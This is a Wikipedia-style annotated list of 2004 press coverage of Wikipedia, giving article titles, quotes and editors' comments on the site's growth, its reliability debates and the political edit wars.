*'''[http://www.businessweek.com/bwdaily/dnflash/aug2004/nf20040811_1095_db_81.htm Howard Rheingold's Latest Connection]''' BusinessWeek Online, [[August 11]] [[2004]]. Q&amp;A with [[Howard Rheingold]], author of ''Smart Mobs: The Next Social Revolution''. &quot;There's also Wikipedia [the online encyclopedia written by volunteers]. It has 500,000 articles in 50 languages at virtually no cost, vs. Encyclopedia Britannica spending millions of dollars and they have 50,000 articles.&quot; At the end of the session, he says, &quot;Here's where Wikipedia fits in. It used to be if you were a kid in a village in India or a village in northern Canada in the winter, maybe you could get to a place where they have a few books once in a while. Now, if you have a telephone, you can get a free encyclopedia. You have access to the world's knowledge. Knowing how to use that is a barrier. The divide increasingly is not so much between those who have and those who don't, but those who know how to use what they have and those who don't.&quot;
**Wikipedia is mentioned again in a [http://slashdot.org/articles/04/08/17/2138201.shtml?tid=95&amp;tid=1 summary of the interview] on Slashdot.

*'''[http://www.businessweek.com/technology/content/aug2004/tc20040818_1593.htm Linus Torvalds' Benevolent Dictatorship]''' BusinessWeek Online, August 18, 2004. Q&amp;A with Linux creator Linus Torvalds. In discussing the application of open-source methods outside of software, he mentions, &quot;There are encyclopedias -- a collection of a lot of information that's neutral. One project on the Web is Wikipedia.&quot;

*'''[http://www.dallasnews.com/s/dws/bus/technology/stories/081804dnbusptech.48583.html Grass-roots Encyclopedia]''' (reg. required) ''Dallas Morning News'', August 18, 2004.  Overview article about Wikipedia in personal technology section including quotes from [[User:Jimbo Wales|Jimbo Wales]] and [[User:RadicalBender|Ben Dyer]]. (For a free version, use [http://springfield.news-leader.com/business/today/1017-Experiment-202805.html this reprint] from the Springfield (MO) News-Leader.)

*'''[http://www.cbc.ca/next/schedule.html It's All About Change: An annotated interview on the future of design featuring Bruce Mau]''' at [[CBC]] Radio 1, August 20 and 22, 2004 mentions Wikipedia as an example of open-source ideas used outside software development.

*'''[http://www.syracuse.com/news/poststandard/index.ssf?/base/news-0/1093338972139211.xml Librarian: Don't use Wikipedia as a source]''' Syracuse Post-Standard, August 25, 2004.  (Users outside the US may bypass the annoying form by clicking on the ''Outside The US? Click Here'' link.) Questions the reliability of Wikipedia based on the fact that anyone can edit a page: &quot;Anyone can change the content of an article in the Wikipedia, and there is no editorial review of the content. I use this Web site as a learning experience for my students. Many of them have used it in the past for research and were very surprised when we investigated the authority of the site.&quot;

*'''First Interview: Dan Gillmor''' ''[http://www.technation.com/ Tech Nation]'', [[August 24]], [[2004]].  Gillmor, technology columnist for [[San Jose Mercury News]] and author of ''We the Media'' ISBN 0596007337, mentioned wikis as an &quot;experiment that works,&quot; and Wikipedia specifically as an &quot;encyclopedia written by its users&quot; with 300000 articles and various language editions. He discussed how wikis defeat vandalism. The Wikipedia part is about 20 minutes into the program.

*'''[http://www.dailytrojan.com/news/2004/08/30/Lifestyle/A.CyberUtopia.Is.At.Our.Fingertips-706778.shtml A cyber-utopia is at our fingertips]''' Daily Trojan ([[University of Southern California]] student newspaper), August 29, 2004. Article about open source movement. &quot;One of my favorite open source projects is called Wikipedia, from the Hawaiian term &quot;wiki wiki,&quot; meaning &quot;quick&quot; or &quot;super fast.&quot; And it's just that: an encyclopedia with super fast navigation and development.&quot;

*'''[http://eogn.typepad.com/eastmans_online_genealogy/2004/08/_free_online_en.html Free Online Encyclopedia May Be the World's Best]'''  [[August 29]], [[2004]] Eastman's Online Genealogy Newsletter, one of the most widely distributed, includes the above in its paid version, with but a teaser in the free. He takes heat for ''that'' in the feedback, but does enough Britannica bashing to make even the free version worth a read.

=== September ===

* '''[http://www.hindu.com/biz/2004/09/06/stories/2004090601011700.htm Collaborative projects galore]''', [[The Hindu]], [[September 5]], [[2004]], Compare Wikipedia to Javapedia: &quot;The project, which has been created along the lines of the famous free on-line encyclopedia project Wikipedia (http://www.wikipedia.org/), hosts lots of materials on Java.&quot;

*'''[http://news.bbc.co.uk/1/hi/technology/3624384.stm From Aaan to ZZ Top]''' [[BBC]] online news pages, [[September 6]] [[2004]]. BBC News Dot.Life article entitled : ''&quot;From Aaan to ZZ Top: An online enclyopaedia which can be edited by all and sundry aims to make finding information on the web easier, and more fun&quot;''. By Jo Twist and BBC News Online science and technology staff. The BBC headlined this article on their main News page and on their Science/nature and Technology pages. 

*'''[http://www.journaltimes.com/articles/2004/09/07/rachel_show/iq_3064453.txt Scouring the Web for political facts]''', The Journal Times (Racine, WI), [[September 7]] [[2004]]. &quot;Up until last Saturday, a search for &quot;fascism&quot; on Wikipedia, a widely used and otherwise reputable online encyclopedia, resulted in a page about George W. Bush (a comment about which you can read at &lt;nowiki&gt;http://en.wikipedia.org/wiki/Talk:Fascism)&lt;/nowiki&gt;.&quot; ''(Actually a vandal had redirected the article to [[George W Bush]] on Friday [[3 September]]. It was reverted after 57 minutes.)''

*'''[http://www.theregister.co.uk/2004/09/07/khmer_rouge_in_daipers/ Wikipedia 'to make universities obsolete']''', The Register, [[September 7]] [[2004]]. Taking its cue from blog comments about Wikipedia, the author describes Wikipedia as &quot;the Khmer Rouge in diapers&quot; and gives a tongue-in-cheek look at Wikipedia replacing traditional universities. 

*'''[http://www.newsobserver.com/business/technology/gilster/story/1614317p-7823919c.html Wiki meeting of minds]''' [http://www.newsobserver.com/24hour/ The News &amp; Observer] (Raleigh, NC) online news pages, [[September 8]] [[2004]].  An article by Paul Gilster, on the front page of the &quot;Connect&quot; section, introduces readers to the Wiki concept, and Wikipedia in particular, with a balanced synopsis. &quot;The Wikipedia reminds us that comparing sources and double-checking facts with other references is sound policy no matter how the text was put together. Taken with caution, it can be a useful and surprisingly resilient tool.&quot;

*'''[http://ojr.org/ojr/glaser/1094678265.php Collaborative Conundrum: Do Wikis Have a Place in the Newsroom?]''', USC Online Journalism Review, [[September 8]] [[2004]]. Article abstract: &quot;Wikipedia has more than 340,000 articles, written by a sprawling online community. Researchers are testing its veracity, while plans proceed for fact-checking it formally. Can journalists trust Wikipedia, and can collaboration software such as wikis improve newsgathering?&quot;

*'''[http://www.washingtonpost.com/wp-dyn/articles/A5430-2004Sep8.html Spreading Knowledge, The Wiki Way]''', Washington Post, [[September 9]] [[2004]], by Leslie Walker. Compares and contrasts Wikipedia with Encyclopedia Britannica. &quot;The free Wikipedia also features a publicly authored current-events page recapping the day's top news, and it is rapidly expanding into other languages -- more than 10,000 articles have been created in each of roughly a dozen languages besides English.&quot; Reprinted in [[The Straits Times]], Singapore [http://straitstimes.asia1.com.sg/techscience/story/0,4386,272109,00.html], [[The Austin-American Statesman]], Austin, Texas [http://www.statesman.com/money/content/auto/epaper/editions/sunday/business_14243a44a206b1a40041.html]

*'''[http://www.csmonitor.com/2004/0909/p06s01-woap.html Internet prods Asia to open up]''', Christian Science Monitor, [[September 9]] [[2004]]. &quot;China's massive firewall is already showing cracks under the weight of the Internet's expansion. The pressure has come from innumerable sources, including an onslaught of weblogs, open-source directories, and projects like Wikipedia, an &quot;open-content&quot; encyclopedia.&quot;

*'''[http://www.iht.com/articles/538271.html Recognizing art in virtual worlds]''', International Herald Tribune, [[September 11]] [[2004]]. Article about the upcoming Ars Electronica festival focusing on the new ''Digital Communities'' award won by Wikipedia, but incorrectly identifies Howard Rheingold as Wikipedia's founder. &quot;As for Wikipedia, its community aspect lies both above and below its surface. A quick visit to Wikipedia reveals only its encyclopedia articles. But alongside each of them lie discussions that help shape the content while bringing together both the readers and the writers of the articles, a distinction that is obviated by the project's design in the first place.&quot;

*'''[http://observer.guardian.co.uk/business/story/0,6903,1302435,00.html Wiki's wacky, but it really does work ]''', Observer, [[September 12]] [[2004]]. Very enthusiastic with comparisons with Britannica and CIA Factbook. &quot;Yet here is something that is entirely malleable - whose entries can be changed by any Tom, Dick or Harry. How could it possibly be any good? Yet it is. I use Wikipedia regularly, and it's often very good indeed. I've just compared its entry on Iraq with that in the CIA Factbook (possibly the only unambiguously useful service ever provided by that agency). The entries are comparable in their scope and coverage: the CIA publication is better on statistics; Wikipedia is better on history and culture. The other day I looked up 'TCP/IP' (the core protocols of the internet) on Wikipedia and Britannica Online. The Wikipedia entry was much more comprehensive.&quot;
*:''Wikipedian's note: The Wikipedia's country articles have used the CIA world factbook as a source.  Some have now been improved beyond recognition, others are little changed.'' --[[User:Robert Merkel|Robert Merkel]] 08:42, 16 Sep 2004 (UTC)
*:''It should also be noted that The Observer makes a serious error by stating that all of Wikipedia's content is in the [[public domain]]. Most of Wikipedia's content is under the [[GFDL]]; portions are distributed under various other licenses and circumstances, including the public domain.''

*'''[http://www.theregister.co.uk/2004/09/15/emergent_people_fail_to_impress/ Wikipedia's Emergent People fail to impress readers]''', The Register, [[September 15]] [[2004]]. Comments on letters from readers reacting to The Register's earlier articles about Wikipedia.

*'''[http://media.guardian.co.uk/mediaguardian/story/0,7558,1308105,00.html Meet Mr Rights]''', [[The Guardian]], [[20 September]] [[2004]]. &quot;[[Lawrence Lessig]] first became interested in the public value of the internet when he noticed that, by letting anybody plug a computer into the ends of the network and instantly serve up their own opinions and media tools to the world, the net was fostering a new and expansive intellectual commons. This commons was producing rapid innovations, grassroots tools such as [[faxyourmp.com]], ambitious collaborative endeavours such as '''wikipedia.org''', Alexandrian archive projects like [[archive.org]] and the many blogs which are starting to change our ideas about the independent press.&quot; 

*'''[http://www2.townonline.com/wakefield/opinion/view.bg?articleid=88940 When the printed page beats the Internet]''', Wakefield (MA) Observer, [[23 September]] [[2004]]. Editorial written by librarian recommends that people keep printed reference works at home (almanacs, atlases, dictionaries, etc.) ''except for'' encyclopedias, for which CD-ROM or online versions are preferable. &quot;Also online are several free encyclopedias, including Britannica, which offers free access to their concise version, and Wikipedia, an open-content encyclopedia that's been getting a lot of attention lately for its open, contributor-based approach.&quot;

*'''[http://www.thestar.com/NASApp/cs/ContentServer?pagename=thestar/Layout/Article_Type1&amp;c=Article&amp;cid=1096108061747&amp;call_pageid=968867495754&amp;col=969483191630 Trivia: It's 'who we are']''', Toronto Star, [[26 September]] [[2004]]. Quotes a pop-culture critic on sources for information about trivia: &quot;But if (your information) is coming from Wikipedia (an Internet encyclopedia where people post their own articles), where everything is evolving, some of that information is good and some of that is misinformation.&quot;

*'''[http://www.adtmag.com/article.asp?id=10046 Vandals at the wiki]''', ADT Magazine, [[28 September]] [[2004]]. Article about anti-Microsoft vandalism at the newly announced FlexWiki. Starts with a brief overview of the wiki concept: &quot;Wikipedia, a free encyclopedia, has over 350,000 pages as I write this.&quot;

*'''[http://southasia.oneworld.net/article/view/94998/1/ Journalism Third Most Dangerous Career in China]''', OneWorld.net, [[29 September]] [[2004]]. &quot;On September 23, the authorities blocked access to the Chinese version of the Wikipedia online encyclopaedia that relies on contributions from Internet-users and carries a number of articles about human rights abuses in China. The site has been blocked on several previous occasions too.&quot;

*'''[http://www.theregister.co.uk/2004/09/30/iwan2go_mobile_framework/ Free info for London visitors]''', The Register, [[30 September]] [[2004]]. &quot;So the most useful thing the Wikipedia project could do is not write another adoring 20,000 word article on our good friend Joi Ito (the spiritual leader), or 'memes', but nail down a simple lightweight framework that librarians, schools, churches and small businesses could use as an annotation and broadcast channel.&quot;

*'''[http://www.digitaldividenetwork.org/content/stories/index.cfm?key=286 Tim Berners-Lee: Weaving a Semantic Web]''', Digital Divide Network, [[30 September]] [[2004]]. Quote from Tim Berners-Lee giving the keynote address at an MIT conference: &quot;The tricky thing is that when you try to put down things like encyclopedia articles, like Wikipedia&quot; (which he earlier referred to as &quot;The Font of All Knowledge&quot;).

*'''[http://www.mercurynews.com/mld/mercurynews/business/9797685.htm?1c Vivisimo receives another makeover]''', San Jose Mercury News, [[30 September]] [[2004]]. Article about Vivisimo's metasearch site Clusty.com. &quot;Clusty is also one of the first search sites to index and display results from the sometimes controversial Wikipedia, the online encyclopedia being compiled from contributions by Internet users.&quot; Not sure what the basis for this statement is, as Wikipedia has been available through Google and Yahoo! searches for a long time.

====1,000,000 Articles====
Coverage resulting from Wikipedia's [[m:Wikimedia press releases/One million Wikipedia articles (int'l)|1,000,000-article press release]]:
* '''[http://www.theinquirer.net/?article=18576 Wikipedia reaches one million articles]''', The Inquirer, [[September 20]] [[2004]]. &quot;We happen to like it because it saves us time and it mentions [[The Inquirer|us]], and our glorious leader [[Mike Magee (journalist)|Mike Mageek]] with latest [cough] picture.&quot;
* '''[http://www.webuser.co.uk/news/news.php?id=58275 Wikipedia hits one million]''', Web User, [[September 20]] [[2004]]. &quot;Wikipedia, a free online encyclopaedia, now has more than a million articles in its database, which web users can access for free.&quot;
* '''[http://www.dvhardware.net/article3149.html Online encyclopedia Wikipedia reaches milestone: 1 million articles]''', DV Hardware, Netherlands, [[September 20]] [[2004]]. &quot;Wikipedia's rate of growth has continued to increase in recent months, and at its current pace Wikipedia will double in size again by next spring.&quot;
* '''[http://slashdot.org/article.pl?sid=04/09/21/0027241 Wikipedia Hits Million-Entry Mark]''', Slashdot, [[September 21]] [[2004]]. &quot;The Wikimedia Foundation announced today the creation of the one millionth article in Wikipedia.&quot;
* '''[http://www.kuro5hin.org/story/2004/9/19/212133/644 The Little Website that Couldn't]''', [http://www.kuro5hin.org Kuro5hin.org], [[September 21]] [[2004]]. Notes million-article milestone and discusses how Wikipedia defies conventional wisdom. &quot;According to the canon of academic orthodoxy, Wikipedia has no right to be as well written, professional, and accurate as it is. Not to say it is perfect, it isn't, but the vast majority of the articles are well written and many are comparable or better than their encyclopedia Britannica equivalents. This from a website where any person can write or change any article at any time, with no one paid to do quality control and no real punishments to those who vandalize the system other than being banned from the site itself.&quot;
* '''[http://p2pnet.net/story/2498 Wikipedia's millionth article]''', p2pnet.net, [[September 21]] [[2004]]. &quot;'Imagine a world in which every single person on the planet is given free access to the sum of all human knowledge. That's what we're doing. And we need your help.' No chance, not with Corporate Greed in full bloom. But it's a noble ambition and it's expressed by the Wiki Foundation which yesterday announced the creation of the one millionth article in Wikipedia, its free, open-content, online encyclopedia project.&quot;
* '''[http://www.villagevoice.com/issues/0439/koerner.php At Your Service Pack]''', The Village Voice, [[23 September]] [[2004]]. Note at the end of the ''TechLove With Mr. Roboto'' column: &quot;Congrats to Wikipedia (wikipedia.org), the world's largest encyclopedia, for garnering its millionth entry. It's an all-volunteer affair, you realize, and they don't accept ads, either. Won't you be a saint and kick them over a few bucks during their pledge drive? Visit wikimediafoundation.org for the details; pledge enforcement vans are standing by to shake you by the ankles.&quot;
* '''[http://biz.yahoo.com/ap/040926/sharing_knowledge_online_3.html 'Wikis' Offer Knowledge-Sharing Online]''', [[Associated Press]], [[26 September]] [[2004]]. &quot;Wikipedia is unique for an encyclopedia because anybody can add, edit and even erase. And the Wikipedia is just one &amp;#8212; albeit the best known &amp;#8212; of a growing breed of Internet knowledge-sharing communities called Wikis&quot;; &quot;Try finding that in the Britannica&quot;; &quot;This month, it surpassed 1 million articles, including 350,000 in English — three times that of the online Encyclopedia Britannica. More than 25,000 people have written or edited at least 10 articles each.&quot;
**This wire story was reprinted in [http://www.nytimes.com/aponline/technology/AP-Sharing-Knowledge-Online.html The New York Times] and [http://news.google.com/news?q=%22Taran+Rampersad+didn%27t+complain+when+he+failed+to+find+anything+on+his+hometown+in+the+online+encyclopedia+Wikipedia%22&amp;scoring=d many other news sites].
* '''[http://www.mg.co.za/Content/l3.asp?cg=Insight-Online&amp;o=138404&amp;sa=106 Wikipedia gets a million entries]''', Mail &amp; Guardian, [[30 September]] [[2004]]. &quot;Regardless of whether you think it is a credible source or not, the Wikipedia, and other projects like it, give a voice to many people who would not have been able to contribute their own knowledge to the creation of an encyclopedia.&quot;
* '''[http://www.thetriangle.org/news/2004/10/01/SciTech/No.More.Paper-738960.shtml No more paper: Wikipedia, evolving open-source online encyclopedia, reaches one million hits]''', The Triangle ([[Drexel University]] student newspaper), [[1 October]] [[2004]]. &quot;Wikipedia is the modern day encyclopedia, updated almost as quickly and as often as news happens. Gone are the days of sifting through massive volumes of encyclopedias to find the one piece of information you need. Now it's all on the web in one accurate, constantly expanding database.&quot;

=== October ===

* '''&quot;Internet encyclopedia has stamp-collecting links&quot;''' is the &quot;Stamps on the Internet&quot; column by [[William F. Sharpe]] in ''[[Linn's Stamp News]]'' for [[October 4]], [[2004]]. &quot;Did you know that Michael Dell, founder of Dell Computers, advertised stamps for sale in ''Linn's'' classified section at age 12? That's one of the unusual facts you can discover by browsing the Wikipedia site at http://en.wikipedia.org. [...] The stamp collecting page is relatively short, but the links it provides take you to other areas. The page called [[Philatelic Investment]], for example, goes into great detail on how to invest in stamps. [...] I find Wikipedia fascinating, not only from the stamp-collecting aspect but also for the overall approach of providing free knowledge in many areas as a collaborative effort. As far as I'm concerned, this is what the Internet was intended for. [...]&quot; He also discusses some of the community pages, and has a screenshot of the main page and what was supposed to be a image of the [[stamp collecting]] article, but a production snafu seems to have resulted in an Excel chart or something. Reading between the lines of his experience, it looks as though he didn't click deep enough to see the bulk of WP's philatelic info, and probably only saw unillustrated articles. So the takeaway is to improve the appearance and appeal of the top-level articles on a subject, and make sure to highlight routes into the depth of the content.

*'''[http://www.thelantern.com/news/2004/10/04/Campus/Larouche.Pac.Group.Sings.Shouts.Argues.With.Bush.Supporters-740977.shtml?page=2 LaRouche PAC group sings, shouts, argues with Bush supporters]''', The Lantern ([[Ohio State University]] student newspaper), [[4 October]] [[2004]].  Article makes bizarre claim that LaRouche &quot;started Wikipedia.com, a Web site functioning as both a free encyclopedia and a wiki community, which allows users to add information to posted articles.&quot; [[Howard Rheingold]] is one thing, but [[Lyndon LaRouche]]? Where do they get this stuff?

* '''[http://www.sacbee.com/content/shopping/on_computers/story/10974230p-11891577c.html Hiking, boating, and powerline maps]''', Sacramento Bee, [[4 October]] [[2004]]. Mentioned in an internet and computer shopping column: &quot;A collection of articles written and edited by anyone. Despite the chaos this might bring to mind, the articles tend to be learned, though unchecked unless through subsequent editing.&quot;

* The WIPO adopts a development agenda that recognizes collaborative projects to create public goods, in response to the [http://www.cptech.org/ip/wipo/futureofwipodeclaration.html Geneva Declaration on the Future of the World Intellectual Property Organization]:
**'''[http://www.pcpro.co.uk/news/64118/un-body-promises-greater-recognition-for-open-source-licencing.html UN body promises greater recognition for open source licencing]''', PC Pro, [[5 October]] [[2004]]. Quoting the Geneva Declaration: &quot;We are witnessing ... hundreds of innovative collaborative efforts to create public goods, including the Internet, the World Wide Web, Wikipedia, the Creative Commons, GNU Linux and other free and open software projects&quot;.
**'''[http://www.atimes.com/atimes/Global_Economy/FJ15Dj01.html Putting the brakes on intellectual property rights]''', Asia Times, [[15 October]] [[2004]]. Mentions Wikipedia in a paraphrase of the Geneva Declaration.
**'''[http://news.bbc.co.uk/2/hi/technology/3752354.stm The fight for your right to share]''', BBC News [[18 October]] [[2004]]. &quot;The net's open source movement, which revolves around Linux, and its collaborative encyclopaedia, the Wikipedia, also shows how well alternative creative systems can work when rights and access are almost unlimited.&quot;

* '''[http://www.redherring.com/Article.aspx?a=10897&amp;hed=Wild+about+wiki&amp;sector=Capital&amp;subsector=VentureCapital Wild about wiki]''', Red Herring, [[7 October]] [[2004]]. &quot;One of the best-known wikis is wikipedia.com, a free encyclopedia where the information is uploaded by users. Though generally known to contain an enormous amount of information on an endless variety of topics, the listed facts are edited by readers, and may not be as reliable as those in more official and less-pliable sources of information.&quot;

* '''[http://www.guardian.co.uk/prius/partthree/story/0,,1322071,00.html Always connect],''' [[The Guardian]], ([[United Kingdom|UK]]), [[7 October]] 2004, in a supplement called ''The Spark''. Good paragraph on Wikipedia, in the context of a longer article on [[Open Source]].

* '''[http://www.theregister.co.uk/2004/10/13/viral_yelp/ Yelp! A viral recommendation system you can't resist?]''', The Register, [[13 October]] [[2004]]. &quot;As we've seen with Google and the Wikipedia, there's an incentive to rig any system&quot;.

* '''[http://www.redherring.com/Article.aspx?a=10909&amp;hed=Wiki+wars Wiki wars: Think this year's presidential debates have been rough? Check out Wikipedia.]''' Red Herring, [[14 October]] [[2004]]. &quot;Mr. Bush and Mr. Kerry have created even more debate than entries for sex and religion. As of October 8, Wikipedia&amp;#8217;s President Bush entry had been tweaked 3,953 times. Its entry for Senator Kerry had been modified 3,230 times. By contrast, Wikipedia&amp;#8217;s article on Jesus has only been edited 1,855 times since the site&amp;#8217;s inception in 2001.&quot;

* '''[http://www.thetranscript.com/Stories/0,1413,103~9054~2471955,00.html Megabits &amp; Pieces]''', North Adams (MA) Transcript, [[16 October]] [[2004]]. Article about the wiki concept. &quot;There is a movement about to use Wikis in order to transform research and Wikipedia (www.wikipedia.org), an open source encyclopedia available in numerous languages, including Esperanto, is certainly the leader.&quot; Also discusses several other wikis, including Wiktionary and Wikibooks.

* '''[http://www.guardian.co.uk/online/story/0,,1331525,00.html Public domain],''' [[The Guardian]] Online section, ([[United Kingdom|UK]]), [[21 October]] 2004, in a article on the UK's Digital Divide. Uses Wikipedia as an example to suggest the UK's Digital Inclusion Panel is sighting a war long ago won: &quot;My bet is that quite soon, we will notice that the web has been taken over by oldies. Wikipedia isn't being compiled by teenagers&quot;.

* '''[http://www.theglobeandmail.com/servlet/ArticleNews/TPStory/LAC/20041025/CHINACYBER25/TPInternational/TopStories Human rights at risk, group tells Ottawa]''', The Globe and Mail, [[25 October]] [[2004]]. &quot;Reporters Without Borders says that in September the authorities blocked access to the Chinese version of the Wikipedia on-line encyclopedia, which relies on contributions and carries articles about human-rights abuses in China.&quot;

* '''[http://www.onlamp.com/pub/wlg/5794 Where's the Movable Type of the Wiki World?]''', Scot Hacker, [[25 October]] [[2004]], discussing the end-user experience of setting up and customizing a wiki.  Hacker chose MediaWiki as the best available option to run a course project wiki, noting that Wikipedia had inspired the course to begin with.  Still he found the software's documentation &quot;scattered and obtuse&quot;, its customizations difficult, and its attempts at a user manual lacking, and suggests the time is ripe for someone to provide a coherent, actively-developed, well-supported wiki solution. 

* '''[http://www.thestatesman.net/page.news.php?clid=24&amp;theme=&amp;usrsess=1&amp;id=58137 Tap in, get smart]''', Swarat Chaudhury, ''[[The Statesman]]'', [[25 October]] [[2004]] - A passionate article in one of India's oldest papers disscusses the dictionaries and encyclopedias the author uses.
:&quot;Wikipedia has spawned a sister project called Wiktionary (http://www.wiktionary.org), a collaborative multilingual dictionary with pronunciations, etymology and quotations. The grand ambition of these projects is nothing short of letting the demos beat the experts at their own game...&quot;
:&quot;Personally, I still rely on the OED most of the time, but I also look forward to a day when Wiktionary beats it hands down.&quot;

* '''[http://www.guardian.co.uk/online/news/0,12597,1335892,00.html Who knows?]''', ''[[The Guardian]]'', [[October 26]], [[2004]], lead article in &quot;G2&quot; supplement about the 4-year-wonder that is Wikipedia. Broad article, that includes details about Wikipedia policies, an interview with [[Jimmy Wales]], comments from librarians and from the executive staff of [[Encyclopaedia Britannica]]. &quot;The truth is that Wikipedia reveals what is normally hidden in an encyclopedia: the countless decisions that lie behind each entry. The only difference is that in Wikipedia, the decision-making never stops and the debates are often robust to say the least. &quot; ([[:Image:The Guardian 26-10-04 Wikipedia front page.jpg|Shot of G2 cover]], [[:Image:The Guardian 26-10-04 Wikipedia pages 2-3.jpg|shot of article itself]])
**Reprinted in '''[http://www.mg.co.za/Content/l3.asp?cg=Leisure-Online&amp;o=140475&amp;sa=106 The success of Wikipedia]''' , ''Mail &amp; Guardian'' of South Africa, [[October 26]], [[2004]].  

* '''[http://www.vnunet.com/comment/1158984 Get set for the wiki revolution]''',  Lem Bingley, ''IT Week'', [[October 26]], [[2004]].  Bingley suggests wikis will be important for business in the near future.  &quot;[I]t's tempting to say that wikis have no relevance for business. But I fully expect that view to be invalidated.&quot;  Article mentions Zuckerman's September analysis of WP (and the then-lacking [[Congo civil war]] coverage). 

* '''Internet site of the week''', Bangkok Post, [[October 27]], [[2004]] (in English) encourages Thais to contribute to the [http://th.wikipedia.org Thai Wikipedia]: &quot;Everyone here agrees that more web content in the Thai language is needed to encourage more young Thais to access the Internet and to benefit from it. So, if you feel you can contribute some knowledge in your domain of expertise in Thai, please pitch in, or you could visit just to read the free content about Thailand.&quot;

* '''[http://www.nytimes.com/2004/10/31/weekinreview/31schw.html When No Fact Goes Unchecked]''', New York Times, [[31 October]] [[2004]]. &quot;The current presidential race has even roiled forums built on cooperation and fairness. At Wikipedia, a sprawling, online encyclopedia written and researched by its users, the Bush-Kerry conflict has spilled over into the wording of the candidates' biographies, with each set of partisans editing the other's facts thousands of times in an escalating tit-for-tat.&quot;

=== November ===

* '''[http://msnbc.msn.com/id/6298340/site/newsweek/ It's Like a Blog, But It's a Wiki]''', Newsweek, [[1 November]] [[2004]]. &quot;Wales has registered the Wikipedia Foundation as a nonprofit in Florida. He has no full-time employees and no formal funding like venture capital, but this year he's raised $100,000 in small donations from Wikipedia's fans that will pay for the servers that host the site. He's also expanding into projects like the Wiktionary (a dictionary and thesaurus), Wikibooks (textbooks and manuals) and Wikiquote (quotations). The goal: to give &quot;every single person free access to the sum of all human knowledge.&quot; To achieve that, he doesn't even have to send out stickers.&quot;

* '''[http://www.keepmedia.com/pubs/LegalAffairs/2004/11/01/636321 Marxist-Lessigism]''', Legal Affairs, [[1 November]] [[2004]]. &quot;Another example is the ''Wikipedia'', an open source, online encyclopedia that is entirely written, edited, and rewritten by anyone who cares to contribute to it. Even though there is no control structure&amp;mdash;there are no editors, nor is there a publisher&amp;mdash;it rivals commercial encyclopedias in scope and quality of coverage.&quot;

* '''[http://www.usatoday.com/tech/columnist/andrewkantor/2004-11-05-fifthofnovember_x.htm Today's best encyclopedia might surprise you]''', USA Today, [[5 November]] [[2004]]. &quot;Few parents today would settle for something like that Compton's. They might look to the Encyclopaedia Britannica, the World Book Encyclopedia, or Encarta &amp;#8211; either in print on or on CD. But they're all posers compared to the Big Gun of the encyclopedia world &amp;#8211; the one that boasts the titles of largest, fastest growing, and most up-to-date. That would be the Wikipedia.&quot;

* '''[http://www.pcworld.com/news/article/0,aid,118497,00.asp A Sneak Peek at Trillian 3.0]''', PCWorld, [[5 November]] [[2004]]. A preview of a new Trillian instant messaging application mentions that it will feature &quot;integration with the Wikipedia online encyclopedia&quot;.

* '''[http://books.guardian.co.uk/reviews/politicsphilosophyandsociety/0,6121,1344544,00.html All the news that's fit to blog]''', The Guardian, [[6 November]] [[2004]]. Book review of Dan Gillmor's ''We the Media''. &quot;He tells us ... of wikipedia, the online encyclopedia where anyone can write or edit an article, which now has more than one million articles in more than 100 languages.&quot;

* '''[http://www.sptimes.com/2004/11/08/Floridian/There_s_no_end_to_it.shtml There's no end to it]''', St Petersburg Times, [[8 November]] [[2004]]. Interview with local resident [[User:Jimbo Wales|Jimmy Wales]], history of Wikipedia, range of articles, editing culture, reliability.

* '''[http://www.guardian.co.uk/online/news/0,12597,1346519,00.html Hunting with Firefox]''', [[The Guardian]], [[November 9]], [[2004]].  A leader congratulating the whole open source movement on   [[Mozilla Firefox]]'s 1.0 release, it states that &quot;Firefox deserves to succeed, but even if it does not it will have highlighted the astonishing success of open source, well known inside the web community but not outside. Among other services, it has its own operating system ([[Linux]]), an acclaimed alternative to [[Microsoft Office]] ([[OpenOffice.org]]), and its own encyclopedia (Wikipedia) with a million entries. The open source movement has become one of globalisation's unexpected treasures.&quot;

* '''[http://www.theonion.com/opinion/index.php?issue=4045&amp;o=2 I Must Take Issue With the Wikipedia Entry for &quot;Weird Al&quot; Yankovic]''', ''[[The Onion]]'', [[November 10]], [[2004]].  A parodic op-ed piece by a fictional &quot;banned Wikipedia editor&quot; (for being overzealous on [[Talk:Admiral Ackbar]]), in which he complains about the inadequate length of [[&quot;Weird Al&quot; Yankovic]].

* '''[http://www.nytimes.com/2004/11/10/arts/10wiki.html Mudslinging Weasels Into Online History]''', [[The New York Times]], [[November 10]], [[2004]]. (Also picked up by CNet News.com [http://news.com.com/On+Wikipedia%2C+mudslinging+spatters+Bush/2100-1028_3-5446570.html] and the International Herald Tribune.) Takes a detailed look at the (still ongoing) shenanigans over Wikipedia's articles on [[George W. Bush]] and [[John Kerry]] and Wikipedians' attempts to keep the articles in compliance with the [[NPOV]] policy.

* '''[http://www.csmonitor.com/2004/1112/p18s03-hfes.html Disambiguating George Romney]''', Christian Science Monitor, [[12 November]] [[2004]]. Essay wondering whether the [[George Romney (painter)|English painter]] is related to the [[George W. Romney|former Michigan governor]] notes finding Wikipedia's [[George Romney|disambiguation page]] through a Google search. &quot;The point of the Wikipedia page was to separate out Web pages referring to the painterly Romney from those referring to the political Romneys - the assumption being that one would be interested in one or the other, not both.&quot;

* '''[http://www.infotoday.com/newsbreaks/nb041115-3.shtml OCLC and Yahoo! Offer Joint Toolbar]''', Information Today, [[15 November]] [[2004]]. Mentions Wikipedia as one of the partners in Yahoo!'s content acquisition program.

* '''[http://www.news-miner.com/Stories/0,1413,113~7244~2536204,00.html Farther-reaching, faster ignorance thanks to Web]''', Fairbanks (AK) Daily News-Miner, [[15 November]] [[2004]]. Director of Fairbanks library system writes: &quot;Librarians abhor using reference sources that don't have established credibility editorial rigor, and while Wikipedia is an interesting social experiment and &quot;includes information more often associated with almanacs, gazetteers and specialist magazines,&quot; it's too untrustworthy to be used as a secondary source.&quot;

* '''[http://www.techcentralstation.com/111504A.html The Faith-Based Encyclopedia]''', Tech Central Station, [[15 November]] [[2004]]. Article critical about the quality of Wikipedia. The reviewer (a former editor-in-chief of [[Encyclopedia Britannica]]) illustrates his point with the article on [[Alexander Hamilton]]. &quot;The user who visits Wikipedia [...] is rather in the position of a visitor to a public restroom. It may be obviously dirty, so that he knows to exercise great care, or it may seem fairly clean, so that he may be lulled into a false sense of security. What he certainly does not know is who has used the facilities before him.&quot; (Linked to from [http://slashdot.org/article.pl?sid=04/11/16/1319242 Slashdot])
